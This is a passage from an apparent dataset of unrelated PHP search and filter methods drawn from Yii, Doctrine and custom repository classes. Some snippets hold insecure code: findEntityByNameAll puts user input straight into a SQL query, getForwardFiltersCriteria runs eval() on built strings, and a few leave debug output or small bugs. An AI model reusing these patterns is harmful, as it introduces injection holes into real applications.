"public function findEntityByNameAll($q){\r\n\t\t$this->recursive = 0;\r\n\t\t$entities = $this->query(\"SELECT * \r\n\t\t\tFROM entities AS Entity \r\n\t\t\tWHERE Entity.name LIKE '%$q%' AND Entity.active = '1'\");\r\n\t\t/*\r\n\t\t$entities = $this->query(\"SELECT * \r\n\t\t\tFROM entities AS Entity \r\n\t\t\tWHERE Entity.name LIKE '%$q%' \r\n\t\t\tAND EXISTS (SELECT u.id FROM users AS u WHERE u.entity_id = Entity.id)\");\r\n\t\t\r\n\t\t*/\r\n\t\treturn $entities;\r\n\t}",
"public function getCriteria()\n {\n return $this->criteria;\n }",
"public function getCriteria()\n {\n return $this->criteria;\n }",
"public function listFeedbacks(){\n\n $sql = \"SELECT * FROM feedbacks\";\n $pdostm = $this->dbcon->prepare($sql);\n $pdostm->execute();\n\n $feedbacks = $pdostm->fetchAll(PDO::FETCH_ASSOC);\n return $feedbacks;\n }",
"public function search() {\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('name', $this->name, true);\n $criteria->compare('type', $this->type);\n\n return $criteria;\n }",
"abstract public function findRelatedRecordsBySubject(): array;",
"public function feedbacks()\n {\n // hasMany(RelatedModel, foreignKeyOnRelatedModel = sp_id, localKey = sp_id)\n return $this->hasMany('App\\Feedback','sp_id','sp_id');\n }",
"public function search()\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id,true);\n \n // Ensure search is only on user's records\n $criteria->addColumnCondition(array('userId' => Yii::app()->user->id));\n\n\t\t$criteria->compare('uuid',$this->uuid,true);\n\t\t$criteria->compare('pt_age',$this->pt_age);\n\t\t$criteria->compare('pt_sex',$this->pt_sex,true);\n\t\t$criteria->compare('pt_postcode',$this->pt_postcode,true);\n\t\t$criteria->compare('asmt_date',$this->asmt_date,true);\n\t\t$criteria->compare('asmt_date_vision_loss',$this->asmt_date_vision_loss,true);\n\t\t$criteria->compare('asmt_eye',$this->asmt_eye,true);\n\t\t$criteria->compare('asmt_refraction',$this->asmt_refraction,true);\n\t\t$criteria->compare('asmt_acuity',$this->asmt_acuity);\n\t\t$criteria->compare('asmt_lens',$this->asmt_lens,true);\n\t\t$criteria->compare('asmt_iop',$this->asmt_iop);\n\t\t$criteria->compare('asmt_previous_op_date',$this->asmt_previous_op_date,true);\n\t\t$criteria->compare('asmt_vitreous',$this->asmt_vitreous,true);\n\t\t$criteria->compare('asmt_vithaem',$this->asmt_vithaem,true);\n\t\t$criteria->compare('fe_refraction',$this->fe_refraction,true);\n\t\t$criteria->compare('fe_acuity',$this->fe_acuity);\n\t\t$criteria->compare('fe_vitreous',$this->fe_vitreous,true);\n\t\t$criteria->compare('fe_retinal_detachment',$this->fe_retinal_detachment);\n\t\t$criteria->compare('op_date',$this->op_date,true);\n\t\t$criteria->compare('op_surgeon_grade',$this->op_surgeon_grade,true);\n\t\t$criteria->compare('op_cause_of_failure',$this->op_cause_of_failure,true);\n\t\t$criteria->compare('op_foveal_attachment',$this->op_foveal_attachment,true);\n\t\t$criteria->compare('op_extent_st',$this->op_extent_st,true);\n\t\t$criteria->compare('op_extent_sn',$this->op_extent_sn,true);\n\t\t$criteria->compare('op_extent_in',$this->op_extent_in,true);\n\t\t$criteria->compare('op_extent_it',$this->op_extent_it,true);\n\t\t$criteria->compare('op_chronic',$this->op_chronic);\n\t\t$criteria->compare('op_pvr_type',$this->op_pvr_type,true);\n\t\t$criteria->compare('op_pvr_cp',$this->op_pvr_cp,true);\n\t\t$criteria->compare('op_pvr_ca',$this->op_pvr_ca,true);\n\t\t$criteria->compare('op_subretinal_bands',$this->op_subretinal_bands);\n\t\t$criteria->compare('op_choroidals',$this->op_choroidals);\n\t\t$criteria->compare('op_breaks_detached',$this->op_breaks_detached);\n\t\t$criteria->compare('op_breaks_attached',$this->op_breaks_attached);\n\t\t$criteria->compare('op_largest_break_type',$this->op_largest_break_type,true);\n\t\t$criteria->compare('op_largest_break_size',$this->op_largest_break_size,true);\n\t\t$criteria->compare('op_lowest_break_position',$this->op_lowest_break_position,true);\n\t\t$criteria->compare('op_positioning',$this->op_positioning,true);\n\t\t$criteria->compare('as_lens_surgery',$this->as_lens_surgery,true);\n\t\t$criteria->compare('pr_volume',$this->pr_volume,true);\n\t\t$criteria->compare('roo_route',$this->roo_route,true);\n\t\t$criteria->compare('vity_gauge',$this->vity_gauge,true);\n\t\t$criteria->compare('vity_pvd_induced',$this->vity_pvd_induced);\n\t\t$criteria->compare('vity_peel',$this->vity_peel);\n\t\t$criteria->compare('vity_rr',$this->vity_rr);\n\t\t$criteria->compare('sb_drainage',$this->sb_drainage,true);\n\t\t$criteria->compare('rp_cryo',$this->rp_cryo);\n\t\t$criteria->compare('rp_endolaser',$this->rp_endolaser);\n\t\t$criteria->compare('rp_indirect',$this->rp_indirect);\n\t\t$criteria->compare('rp_transcleral_diode',$this->rp_transcleral_diode);\n\t\t$criteria->compare('rp_360',$this->rp_360);\n\t\t$criteria->compare('tamp_type',$this->tamp_type,true);\n\t\t$criteria->compare('tamp_percent',$this->tamp_percent);\n\t\t$criteria->compare('comps_choroidal',$this->comps_choroidal);\n\t\t$criteria->compare('comps_lens_touch',$this->comps_lens_touch);\n\t\t$criteria->compare('comps_esb',$this->comps_esb);\n\t\t$criteria->compare('comps_other_breaks',$this->comps_other_breaks);\n\t\t$criteria->compare('comps_deep_suture',$this->comps_deep_suture);\n\t\t$criteria->compare('comps_drain_haem',$this->comps_drain_haem);\n\t\t$criteria->compare('comps_incarceration',$this->comps_incarceration);\n\t\t$criteria->compare('fu_date',$this->fu_date,true);\n\t\t$criteria->compare('fu_type',$this->fu_type,true);\n\t\t$criteria->compare('fu_man_complete',$this->fu_man_complete);\n\t\t$criteria->compare('fu_readmission',$this->fu_readmission);\n\t\t$criteria->compare('fu_number_ops',$this->fu_number_ops);\n\t\t$criteria->compare('fu_attached',$this->fu_attached);\n\t\t$criteria->compare('fu_oil',$this->fu_oil);\n\t\t$criteria->compare('fu_acuity',$this->fu_acuity);\n\t\t$criteria->compare('fu_lens',$this->fu_lens,true);\n\t\t$criteria->compare('fu_iop_problem',$this->fu_iop_problem);\n\t\t$criteria->compare('fu_foveal_attachment',$this->fu_foveal_attachment,true);\n\t\t$criteria->compare('fu_erm',$this->fu_erm);\n\t\t$criteria->compare('fu_macular_hole',$this->fu_macular_hole);\n\t\t$criteria->compare('fu_macular_fold',$this->fu_macular_fold);\n\t\t$criteria->compare('fu_hypotony',$this->fu_hypotony);\n\t\t$criteria->compare('fu_primary_success',$this->fu_primary_success);\n\t\t\n\t\t// Following sort array returns cases in descending order of op_date (ie most recent cases first)\n\t\treturn new CActiveDataProvider(get_class($this), array(\n\t\t\t'criteria'=>$criteria,\n\t\t\t'sort'=>array(\n\t\t\t\t'defaultOrder'=>'op_date DESC'\n\t\t\t\t),\n\t\t));\n\t}",
"public function getCriteria()\n {\n $criterias = array();\n foreach ($this->validators as $validator) {\n $criterias = array_merge($criterias, $validator->getCriteria());\n }\n \n return $criterias;\n }",
"public function findRequirements($team);",
"public function findBy(array $filters);",
"public function find($aCriterias = array(), $entity = null, $aInjectedClauses = array())\n\t{\t\n\t\t$aTableSource = array_merge($this->_acceptedFields, $this->_cascadeFields, array_keys($aInjectedClauses));\n\t\t\n\t\t$aTables\t= $this->extractTables($aTableSource);\n\t\t$sWhere\t\t= $this->compileClauseStrings(array(\n\t\t\t\t\t\t\t$this->getClauseStrings($aCriterias),\n\t\t\t\t\t\t\t$this->getClauseStrings($aInjectedClauses, true),\n\t\t\t\t\t\t\t$this->compileClauseStrings($this->_cascadeFields)\n\t\t\t\t\t));\n\t\t$sSelect\t= implode(', ', $this->_acceptedFields);\t\n\t\t\n\t\t$this->_adapter->select($aTables, $sWhere, $sSelect);\n\t\t\n\t\t$collection = $this->buildCollection();\n\t\t\n\t\twhile($data = $this->_adapter->fetch())\n\t\t{\n\t\t\tif($entity instanceof AbstractEntity)\n\t\t\t{\n\t\t\t\treturn $this->buildEntity($data, $entity);\n\t\t\t}\n\t\t\t$collection->add(null, $this->buildEntity($data));\n\t\t}\n\t\treturn $collection;\n\t}",
"function findSurfersByDynamicData($criteria, $mode = 'AND') {\n // Check mode (set to 'AND' if it's not 'OR')\n if ($mode != 'OR') {\n $mode = 'AND';\n }\n // Check whether field names or ids were used\n $fieldKeys = array_keys($criteria);\n $ids = TRUE;\n foreach ($fieldKeys as $key) {\n if (!is_int($key)) {\n $ids = FALSE;\n }\n }\n if ($ids) {\n $fields = $criteria;\n } else {\n // For field names, we need to get the dynamic data field ids\n $nameCond = str_replace(\n '%',\n '%%',\n $this->databaseGetSQLCondition('surferdata_name', array_keys($criteria))\n );\n $sql = \"SELECT surferdata_name, surferdata_id\n FROM %s\n WHERE \".$nameCond;\n $sqlParams = array($this->tableData);\n $fields = array();\n if ($res = $this->databaseQueryFmt($sql, $sqlParams)) {\n while ($row = $res->fetchRow(DB_FETCHMODE_ASSOC)) {\n $fields[$row['surferdata_id']] = $criteria[$row['surferdata_name']];\n }\n }\n }\n // Now get the surfers that match each of the criteria\n $totalResult = array();\n foreach ($fields as $id => $value) {\n $sql = \"SELECT surfercontactdata_surferid,\n surfercontactdata_property,\n surfercontactdata_value\n FROM %s\n WHERE surfercontactdata_property = %d\n AND surfercontactdata_value LIKE '%s'\";\n $sqlParams = array($this->tableContactData, $id, $value);\n $result = array();\n if ($res = $this->databaseQueryFmt($sql, $sqlParams)) {\n while ($row = $res->fetchRow(DB_FETCHMODE_ASSOC)) {\n $result[] = $row['surfercontactdata_surferid'];\n }\n }\n // Check whether there is a current result\n if (!empty($result)) {\n if (empty($totalResult)) {\n // If there is no combined result yet, create it\n $totalResult = $result;\n } else {\n // Otherwise combine the results according to mode\n if ($mode == 'AND') {\n $totalResult = array_intersect($totalResult, $result);\n } else {\n $totalResult = array_unique(array_merge($totalResult, $result));\n }\n }\n } else {\n // If the current result is empty,\n // we can safely return an empty array in AND mode\n if ($mode == 'AND') {\n return array();\n }\n }\n }\n return $totalResult;\n }",
"function getSubscribedEntities()\n\t{\n\t\t$options = array(\n\t\t\t'type' => 'user',\n\t\t\t'metadata_names' => 'isSubscribedNewsletter',\n\t\t\t'metadata_values' => true,\t\n\t\t\t'limit' => 9999999999,\n\t\t);\n\t\treturn elgg_get_entities_from_metadata($options);\n\t}",
"public function searchApprovals()\n\t{\n\t\t$criteria = new CDbCriteria;\n \n \n /**\n * Example of searchApproval query\n * \n * select * from cs_user as u\n * LEFT JOIN cs_work_flow_log as wflog\n * ON u.id = wflog.data_id\n * WHERE\n * u.status=2 OR (u.status = 3 AND wflog.to_user_id = 8 AND wflog.data_type = 'YumUser' AND wflog.action = 2 AND wflog.status = 0)\n */\n Yii::import('application.modules.workflow.models.*');\n \n $criteria->select = 't.*, wflog.*';\n $criteria->join = \"LEFT JOIN cs_work_flow_log as wflog ON t.id = wflog.data_id\";\n $criteria->condition = '(t.status =:pending OR (t.status = :forwarded AND (wflog.to_user_id = :staff_id OR wflog.user_id = :staff_id) AND wflog.data_type = :user_class AND wflog.action = :action AND wflog.status= :wf_status))';\n \n $criteria->params = array(\n ':pending'=> YumUser::STATUS_APPROVAL_PENDING,\n ':forwarded'=> YumUser::STATUS_FORWARDED,\n ':staff_id'=>Yii::app()->user->id,\n ':user_class'=> get_class($this),\n ':action'=> WorkFlow::ACTION_FORWARD,\n ':wf_status'=> WorkFlow::STATUS_NEW,\n );\n \n if($this->_flow != null || $this->_flow != \"\"){\n var_dump($this->_flow);\n if($this->_flow == WorkFlow::REQUEST_NEW){\n $criteria->condition = 't.status =:pending';\n $criteria->params = array(\n ':pending'=> YumUser::STATUS_APPROVAL_PENDING,\n );\n }\n elseif($this->_flow == WorkFlow::REQUEST_FORWARDED){\n $criteria->condition = '(t.status = :forwarded AND wflog.user_id = :staff_id AND wflog.data_type = :user_class AND wflog.action = :action AND wflog.status= :wf_status)';\n \n $criteria->params = array(\n ':forwarded'=> YumUser::STATUS_FORWARDED,\n ':staff_id'=>Yii::app()->user->id,\n ':user_class'=> get_class($this),\n ':action'=> WorkFlow::ACTION_FORWARD,\n ':wf_status'=> WorkFlow::STATUS_NEW,\n );\n }\n elseif($this->_flow == WorkFlow::REQUEST_RECEIVED){\n $criteria->condition = '(t.status = :forwarded AND wflog.to_user_id = :staff_id AND wflog.data_type = :user_class AND wflog.action = :action AND wflog.status= :wf_status)';\n \n $criteria->params = array(\n ':forwarded'=> YumUser::STATUS_FORWARDED,\n ':staff_id'=>Yii::app()->user->id,\n ':user_class'=> get_class($this),\n ':action'=> WorkFlow::ACTION_FORWARD,\n ':wf_status'=> WorkFlow::STATUS_NEW,\n );\n }\n }\n \n //$criteria->compare('t.status', YumUser::STATUS_APPROVAL_PENDING, false, 'AND');\n\t\t\n $criteria->together = false;\n\t\t$criteria->compare('t.id', $this->id, true);\n\t\t$criteria->compare('t.username', $this->username, true);\n \n $criteria->compare('t.user_type', $this->user_type);\n \n\t\t$criteria->compare('t.createtime', $this->createtime, true);\n\t\t\n\t\treturn new CActiveDataProvider(get_class($this), array(\n 'criteria' => $criteria,\n 'pagination' => array('pageSize' => Yum::module()->pageSize), \n ));\n\t}",
"public abstract function find();",
"public function mydraftsearch()\n\t{\n\t\t// should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\t\t/*\n\t\t$criteria->condition = 'miscellaneous_fees_payment_cheque_student_id = :studentid';\n\t $criteria->params = array(':studentid' => $_REQUEST['id']);\n\t\t$criteria->condition = 'miscellaneous_fees_payment_cheque_draft_status = 2';*/\n\n\t\t$criteria->condition = \"miscellaneous_fees_payment_cheque_student_id = :studentid && miscellaneous_fees_payment_cheque_draft_status = :miscellaneous_fees_payment_cheque_draft_status\";\n\t\t$criteria->params = array (\n\t\t':studentid' => $_REQUEST['id'],\n\t\t':miscellaneous_fees_payment_cheque_draft_status' => 2,\n\t\t);\n\n\n\n\n\t\t$criteria->compare('miscellaneous_fees_payment_cheque_master_id',$this->miscellaneous_fees_payment_cheque_master_id);\n\t\t$criteria->compare('miscellaneous_fees_payment_cheque_id',$this->miscellaneous_fees_payment_cheque_id);\n\t\t$criteria->compare('miscellaneous_fees_payment_cheque_number',$this->miscellaneous_fees_payment_cheque_number);\n\t\t$criteria->compare('miscellaneous_fees_payment_cheque_date',$this->miscellaneous_fees_payment_cheque_date,true);\n\t\t$criteria->compare('miscellaneous_fees_payment_cheque_bank',$this->miscellaneous_fees_payment_cheque_bank);\n\t\t$criteria->compare('miscellaneous_fees_payment_cheque_branch',$this->miscellaneous_fees_payment_cheque_branch,true);\n\t\t$criteria->compare('miscellaneous_fees_payment_cheque_amount',$this->miscellaneous_fees_payment_cheque_amount);\n\t\t$criteria->compare('miscellaneous_fees_payment_cheque_status',$this->miscellaneous_fees_payment_cheque_status);\n\t\t$criteria->compare('miscellaneous_fees_payment_cheque_draft_status',$this->miscellaneous_fees_payment_cheque_draft_status);\n\t\t$criteria->compare('miscellaneous_fees_payment_cheque_student_id',$this->miscellaneous_fees_payment_cheque_student_id);\n\t\t$criteria->compare('miscellaneous_fees_payment_cheque_receipt_id',$this->miscellaneous_fees_payment_cheque_receipt_id);\n\n\t\t$draft_data = new CActiveDataProvider(get_class($this), array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t\t$_SESSION['draft_data']=$draft_data;\n\t\treturn $draft_data;\n\t}",
"public abstract function findWalletBy(array $criteria);",
"public function testFiltering()\n {\n $this->getManager();\n\n $result = $this->getFilerManger()->execute(new Request());\n\n $actual = [];\n foreach ($result->getResult() as $doc) {\n $actual[] = $doc->getId();\n }\n\n $this->assertCount(1, $actual);\n }",
"public function getFilteredEntities($filters = [])\n\t{\n\t\t$with = $this->getIncludes($filters);\n\t\t$entities = $this->make($with)->excludeDeleted($filters);\n\t\t$this->applyFilters($entities, $filters);\n\t\t$entities->select('user_favourite_entities.*');\n\n return $entities;\n\t}",
"public function findUserBy(array $criteria);",
"public function findUserBy(array $criteria);",
"public function find ( array $criteria )\n {\n $matches = array();\n\n foreach ( $this->_values as $row )\n {\n foreach ( $criteria as $field => $value )\n {\n if ( $row[$field] == $value )\n {\n array_push($matches, $row);\n }\n } // END foreach $criteria\n } // END foreach $_values\n\n return $matches;\n }",
"public function myFindAll(){\n // $queryBuilder = $this->createQueryBuilder('a');\n // $query = $queryBuilder->getQuery();\n // $results = $query->getResult();\n return $this->createQueryBuilder('a')->getQuery()->getResult;\n }",
"public function findAllEntities();",
"public function getMatches()\n {\n $q = $this->createQuery('m')\n ->orderBy('m.date');\n \n return $q->execute();\n }",
"public function fetchCampaignsCriteria(Request $request){\n \t $resultCampaign=new campaignCriteria();\n \t $result=$resultCampaign->fetchCriteria($request);\n }",
"public function getCriteria()\n\t{\n\t\treturn $this->criteria;\n\t}",
"public function search()\n {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria=new CDbCriteria;\n\n $criteria->compare('id',$this->id);\n $criteria->compare('pid',$this->pid);\n $criteria->compare('article',$this->article,true);\n $criteria->compare('group_1',$this->group_1,true);\n $criteria->compare('key_group_1',$this->key_group_1);\n $criteria->compare('group_2',$this->group_2,true);\n $criteria->compare('key_group_2',$this->key_group_2);\n $criteria->compare('group_3',$this->group_3,true);\n $criteria->compare('key_group_3',$this->key_group_3);\n $criteria->compare('f_brand',$this->f_brand,true);\n $criteria->compare('f_s_brand',$this->f_s_brand);\n $criteria->compare('f_country',$this->f_country,true);\n $criteria->compare('f_s_country',$this->f_s_country);\n $criteria->compare('f_region',$this->f_region,true);\n $criteria->compare('f_s_region',$this->f_s_region);\n $criteria->compare('f_alcohol',$this->f_alcohol,true);\n $criteria->compare('f_s_alcohol',$this->f_s_alcohol);\n $criteria->compare('f_taste',$this->f_taste,true);\n $criteria->compare('f_s_taste',$this->f_s_taste);\n $criteria->compare('f_sugar',$this->f_sugar,true);\n $criteria->compare('f_s_sugar',$this->f_s_sugar);\n $criteria->compare('f_grape_sort',$this->f_grape_sort,true);\n $criteria->compare('f_s_grape_sort',$this->f_s_grape_sort);\n $criteria->compare('f_vintage_year',$this->f_vintage_year,true);\n $criteria->compare('f_s_vintage_year',$this->f_s_vintage_year);\n $criteria->compare('f_color',$this->f_color,true);\n $criteria->compare('f_s_color',$this->f_s_color);\n $criteria->compare('f_excerpt',$this->f_excerpt,true);\n $criteria->compare('f_s_excerpt',$this->f_s_excerpt);\n $criteria->compare('f_fortress',$this->f_fortress);\n $criteria->compare('f_volume',$this->f_volume,true);\n $criteria->compare('f_packaging',$this->f_packaging,true);\n $criteria->compare('i_name_sku',$this->i_name_sku,true);\n $criteria->compare('i_availability',$this->i_availability);\n $criteria->compare('i_popular',$this->i_popular);\n $criteria->compare('i_limitedly',$this->i_limitedly);\n $criteria->compare('i_old_price',$this->i_old_price,true);\n $criteria->compare('i_price',$this->i_price,true);\n $criteria->compare('i_manufacturer_importer',$this->i_manufacturer_importer,true);\n $criteria->compare('i_supplier',$this->i_supplier,true);\n $criteria->compare('d_desc_product',$this->d_desc_product,true);\n $criteria->compare('d_photo_small',$this->d_photo_small,true);\n $criteria->compare('d_photo_middle',$this->d_photo_middle,true);\n $criteria->compare('d_photo_high',$this->d_photo_high,true);\n $criteria->compare('d_link_manuf',$this->d_link_manuf,true);\n $criteria->compare('d_logo_manuf',$this->d_logo_manuf,true);\n $criteria->compare('t_url',$this->t_url,true);\n $criteria->compare('t_meta_title',$this->t_meta_title,true);\n $criteria->compare('t_meta_keyword',$this->t_meta_keyword,true);\n $criteria->compare('t_meta_description',$this->t_meta_description,true);\n \n\n return new CActiveDataProvider($this, array(\n 'criteria'=>$criteria,\n 'pagination'=>array(\n 'pageSize' => 50,\n )));\n }",
"public function getFilters() {\n\t\tif (!$this->filter) {\n\t\t\t$f = $this->db->getAndFilter();\n\t\t} else {\n\t\t\t$f = $this->filter;\n\t\t}\n\t\tforeach ($this->join as $j) {\n\t\t\t$f->subEq($j[2]->getFilters());\n\t\t}\n\t\treturn $f;\n\t}",
"public function getQueryCriteria(): array\n {\n return [\n 'created_after' => new DateValidator,\n 'created_before' => new DateValidator,\n 'id_greater_than' => new PositiveIntValidator,\n 'id_less_than' => new PositiveIntValidator,\n 'name' => new StringValidator,\n 'updated_before' => new DateValidator,\n 'updated_after' => new DateValidator\n ];\n }",
"public function findEntities($params) {\r\n\t\t$allResults = array();\r\n\t\r\n\t\tprint_r($params);\r\n\r\n\t\t//\techo 'POSTDATA:'; print_r($params);\techo '\\n';\r\n\t\r\n\t\tif (!$result = $this->sendRequest('GET', $params)) {\r\n\t\t\t\r\n\t\t\techo \"\\nERROR FETCHING NEW DATA\";\r\n\t\t\techo \"\\nPROCEEDING TO PROCESSING EXISTING DATA\";\r\n\t\r\n\t\t} else if ($result && intval($result['status']) == 200 && count($data = json_decode($result['body'])) > 0) {\r\n\t\t\t\t\t\r\n\t\t\tfor ($j = 0; $j < count($data); $j++) {\r\n\t\t\t\tarray_push($allResults, $data[$j]);\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\techo \"Retrieved \" . count($allResults) . \" records\\n\";\r\n\t\treturn $allResults;\r\n\t}",
"public function filter($criteria, $filter, $args=[]);",
"public function myFindAll($criteria = array()) {\n\n $parameters = array();\n $values = array('a,partial b.{id,nomprojet},partial c.{id,nomUser},partial d.{id,nom,description},f,partial h.{id}');\n $query = $this->createQueryBuilder('a')\n ->select($values)\n ->leftJoin('a.idProjet', 'b')\n ->leftJoin('a.demandeur', 'c')\n ->leftJoin('a.idStatus', 'd')\n ->leftJoin('a.picture', 'f')\n ->addSelect('g')\n //->addSelect('g')\n ->distinct('GroupConcat(g.nom) AS kak')\n ->leftJoin('a.idEnvironnement', 'g')\n ->leftJoin('a.comments', 'h')\n //->addSelect('e')\n ->addSelect('partial e.{id,nomUser}')\n ->distinct('GroupConcat(e.nomUser)')\n ->leftJoin('a.idusers', 'e');\n $query->add('orderBy', 'a.id DESC');\n return $query;\n //->getQuery();\n }",
"public function find(array $conditions = []);",
"public function index()\n {\n $feedbacks = Feedback::all();\n\n return $feedbacks;\n }",
"public function search($attributes) {\n return $this->queryNetForum($attributes);\n }",
"public function search()\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('id',$this->id);\n\t\t$criteria->compare('task_id',$this->task_id);\n\t\t$criteria->compare('tierlevel',$this->tierlevel);\n\t\t$criteria->compare('channel_id',$this->channel_id);\n\n\t\t//##$criteria->compare('campaign_id',$this->campaign_id);\n if ($this->campaign_id) {\n $criteria->with = array('rcampaign');\n if (is_numeric($this->campaign_id)) {\n //http://www.yiiframework.com/wiki/199/creating-a-parameterized-like-query/\n $criteria->addCondition(\"t.campaign_id = :cmpid OR rcampaign.name LIKE :cmpname\");\n $_cmpid = addcslashes($this->campaign_id, '%_');\n $criteria->params[':cmpid'] = $_cmpid;\n $criteria->params[':cmpname'] = \"%$_cmpid%\";\n } elseif(is_array($this->campaign_id)) {\n $criteria->compare('t.campaign_id',$this->campaign_id);\n } else {\n $criteria->compare('rcampaign.name',$this->campaign_id, true);\n }\n }\n /*\n\t\t$criteria->compare('date_initial',$this->date_initial,true);\n\t\t$criteria->compare('date_current',$this->date_current,true);\n\t\t$criteria->compare('date_accepted',$this->date_accepted,true);\n\t\t$criteria->compare('date_approved',$this->date_approved,true);\n\t\t$criteria->compare('date_pending',$this->date_pending,true);\n\t\t$criteria->compare('date_completed',$this->date_completed,true);\n\t\t$criteria->compare('date_denied',$this->date_denied,true);\n\t\t$criteria->compare('time2current',$this->time2current);\n\t\t$criteria->compare('time2accepted',$this->time2accepted);\n\t\t$criteria->compare('time2approved',$this->time2approved);\n\t\t$criteria->compare('time2pending',$this->time2pending);\n\t\t$criteria->compare('time2completed',$this->time2completed);\n\t\t$criteria->compare('time2denied',$this->time2denied);\n */\n $this->genBtwCond($criteria, 'date_initial');\n $this->genBtwCond($criteria, 'date_current');\n $this->genBtwCond($criteria, 'date_accepted');\n $this->genBtwCond($criteria, 'date_approved');\n $this->genBtwCond($criteria, 'date_pending');\n $this->genBtwCond($criteria, 'date_completed');\n $this->genBtwCond($criteria, 'date_denied');\n\n $this->genBtwCond($criteria, 'date_inrepair');\n $this->genBtwCond($criteria, 'date_preqa');\n $this->genBtwCond($criteria, 'time2preqa');\n $this->genBtwCond($criteria, 'time2inrepair');\n\n $this->genBtwCond($criteria, 'time2current');\n $this->genBtwCond($criteria, 'time2accepted');\n $this->genBtwCond($criteria, 'time2approved');\n $this->genBtwCond($criteria, 'time2pending');\n $this->genBtwCond($criteria, 'time2completed');\n $this->genBtwCond($criteria, 'time2denied');\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}",
"public function participantsByRole( $name )\n{\n $results = array();\n foreach ( $this->participants as $participant ) { \n foreach ($participant->roles as $role) { \n if( $participant->hasRole($name) ){\n $results[] = $participant;\n }\n }\n }\n return $results;\n}",
"public function search()\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\n\t\t$criteria = new CDbCriteria;\n\n\t\t$criteria->compare('id', $this->id);\n\t\t$criteria->compare('category_id', $this->category_id);\n\t\t$criteria->compare('title', $this->title, true);\n\t\t$criteria->compare('contact', $this->contact, true);\n\t\t$criteria->compare('audit', $this->audit);\n\t\t$criteria->compare('comment', $this->comment, true);\n// ICE 上面的逻辑也是去employeebranchrelation查数字branch_id 但是findbypk有可能报错,所以完善方法。\n//\t\t$employee = Employee::model()->findByPk(Yii::app()->user->id);\n\t\t// 选择的组织架构ID\n\t\tif (!empty($this->branch))\n\t\t $criteria->addInCondition('branch_id', $this->branch->getChildrenIdsAndSelf());\n\t\telse //自己的组织架构的ID\n//\t\t $criteria->addInCondition('branch_id', $employee->getBranchIds());\n// ICE 上面的逻辑也是去employeebranchrelation查数字branch_id 但是findbypk有可能报错,所以完善方法。\n\t\t $criteria->addInCondition('branch_id', Employee::ICEgetOldBranchIds());\n\n\t\t// if (!empty($this->community)) {//如果有小区\n\t\t// $criteria->distinct = true;\n\t\t// $criteria->join = 'inner join notify_community_relation n on n.notify_id=t.id';\n\t\t// $criteria->addInCondition('n.community_id', $this->community);\n\t\t// } else if ($this->region != '') {//如果有地区\n\t\t// $criteria->distinct = true;\n\t\t// $criteria->join = 'inner join notify_community_relation n on n.notify_id=t.id';\n\t\t// $criteria->addInCondition('n.community_id', Region::model()->getRegionCommunity($this->region, 'id'));\n\t\t// }\n\n\t\t$community_ids = array();\n\t\tif (!empty($this->communityIds)) {//如果有小区\n\t\t\t$community_ids = $this->communityIds;\n\t\t} else if ($this->province_id) { //如果有地区\n\t\t\tif ($this->district_id) {\n\t\t\t\t$regionId = $this->district_id;\n\t\t\t} else if ($this->city_id) {\n\t\t\t\t$regionId = $this->city_id;\n\t\t\t} else if ($this->province_id) {\n\t\t\t\t$regionId = $this->province_id;\n\t\t\t} else {\n\t\t\t\t$regionId = 0;\n\t\t\t}\n\t\t\t$community_ids = ICERegion::model()->getRegionCommunity(\n\t\t\t\t$regionId,\n\t\t\t\t'id'\n\t\t\t);\n\t\t}\n\n\t\tif ($community_ids) {\n\t\t\t$criteria->distinct = true;\n\t\t\t$criteria->join = 'inner join notify_community_relation n on n.notify_id=t.id';\n\t\t\t$criteria->addInCondition('n.community_id', $community_ids);\n\t\t}\n\n\t\treturn new ActiveDataProvider($this, array(\n\t\t\t'criteria' => $criteria,\n\t\t\t'sort' => array(\n\t\t\t\t'defaultOrder' => 't.id desc',\n\t\t\t)\n\t\t));\n\t}",
"private function getForwardFiltersCriteria($fromMailer=''){\n if($this->loggedInProfileObj->getGENDER()==\"M\")\n $this->setGENDER(\"F\");\n elseif($this->loggedInProfileObj->getGENDER()==\"F\")\n $this->setGENDER(\"M\");\n $this->setGENDER($gender);\n $forwardCriteria = PredefinedSearchFactory::getSetterBy('PartnerProfile',$this->loggedInProfileObj);\n $forwardCriteria->getDppCriteria();\n $filtersObj = new NEWJS_FILTER();\n $filters = $filtersObj->fetchEntry($this->pid);\n \n if($filters['CITY_RES']=='Y' && $filters['COUNTRY_RES']!='Y')\n $filters['COUNTRY_RES'] = 'Y';\n \n foreach($this->filteredParams as $k=>$v)\t\n {\n if($filters[$v] == 'Y' || (($v=='LAGE' || $v=='HAGE') && $filters['AGE']=='Y')){\n eval('$tempVal = $forwardCriteria->get'.$v.'();');\n if($tempVal)\n eval('$this->set'.$v.'(\"'.$tempVal.'\");');\n }\n }\n }",
"public function search() {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('ID', $this->ID, true);\n $criteria->compare('IntentionName', $this->IntentionName, true);\n $criteria->compare('RentPrice', $this->RentPrice, true);\n $criteria->compare('RentUnit', $this->RentUnit, true);\n $criteria->compare('SalePrice', $this->SalePrice, true);\n $criteria->compare('SaleUnit', $this->SaleUnit, true);\n $criteria->compare('IsNegotiable', $this->IsNegotiable);\n $criteria->compare('StuctureArea', $this->StuctureArea);\n $criteria->compare('StuctureAreaUnit', $this->StuctureAreaUnit, true);\n $criteria->compare('UsedArea', $this->UsedArea);\n $criteria->compare('UsedAreaUnit', $this->UsedAreaUnit, true);\n $criteria->compare('CategoryName', $this->CategoryName, true);\n $criteria->compare('FloorHeight', $this->FloorHeight);\n $criteria->compare('StructureName', $this->StructureName, true);\n $criteria->compare('FunctionName', $this->FunctionName, true);\n $criteria->compare('RentPeriodA', $this->RentPeriodA, true);\n $criteria->compare('RentPeriodB', $this->RentPeriodB, true);\n 